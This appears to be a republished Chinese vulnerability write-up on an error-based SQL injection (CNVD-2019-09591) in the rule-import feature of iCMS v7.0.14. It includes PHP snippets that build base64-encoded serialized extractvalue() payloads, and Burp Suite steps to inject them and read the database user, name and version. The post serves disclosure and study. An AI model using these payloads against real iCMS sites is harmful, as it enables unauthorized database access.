天天看點

iCMS的spider_rule.admincp.php存在報錯SQL注入

該漏洞CNVD-ID: CNVD-2019-09591

漏洞送出CNVD後,待CNVD公示才發出本文。

測試環境:

程式版本:v7.0.14

Windows + firefox + burpsuite + apache2 + PHP5.6.27(phpStudy內建環境)

iCMS官網:https://www.icmsdev.com/

一、漏洞分析

/app/spider/spider_rule.admincp.php 傳入檔案的方式可被利用以繞過全局過濾導緻SQL注入。

傳入檔案内容是序列化的,并經過base64編碼,是以可繞過全局過濾。

iCMS的spider_rule.admincp.php存在報錯SQL注入

這裡組裝SQL語句。

/iPHP/core/iDB.class.php

iCMS的spider_rule.admincp.php存在報錯SQL注入

這裡執行SQL語句。

/iPHP/core/DB/Mysqli.class.php

iCMS的spider_rule.admincp.php存在報錯SQL注入

二、漏洞測試

1、 安裝 http://localhost/install/index.php

2、 建立一個.php檔案,寫入如下代碼:

<?php 
$str = array("name" => "aa1' or (select 1 from icms_user where uid=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))) or '");
$sstr = serialize($str);
$to64 = base64_encode($sstr);
echo $to64;
?>
           
iCMS的spider_rule.admincp.php存在報錯SQL注入

運作這段代碼将得到一段payload,用于BurpSuite裡執行。

3、 登入管理背景,選擇“采集管理”:

iCMS的spider_rule.admincp.php存在報錯SQL注入

4、先選擇“采集規則”, 再選擇“導入規則”:

iCMS的spider_rule.admincp.php存在報錯SQL注入

在桌面建立一個.txt檔案,寫入任意内容。打開burpsuite攔截後選擇“要導入的規則”,導入該.txt檔案。

iCMS的spider_rule.admincp.php存在報錯SQL注入

5、burpsuite攔截,上面第二步得到的payload複制到這裡;發到repeater

iCMS的spider_rule.admincp.php存在報錯SQL注入

6、repeater裡分别擷取user(), database(), version(), user()

iCMS的spider_rule.admincp.php存在報錯SQL注入
<?php 
$str = array("name" => "aa1' or (select 1 from icms_user where uid=1 and (extractvalue(1,concat(0x7e,(select database()),0x7e)))) or '");
$sstr = serialize($str);
$to64 = base64_encode($sstr);
echo $to64;
?>
           
iCMS的spider_rule.admincp.php存在報錯SQL注入
<?php 
$str = array("name" => "aa1' or (select 1 from icms_user where uid=1 and (extractvalue(1,concat(0x7e,(select version()),0x7e)))) or '");
$sstr = serialize($str);
$to64 = base64_encode($sstr);
echo $to64;
?>
           
iCMS的spider_rule.admincp.php存在報錯SQL注入

繼續閱讀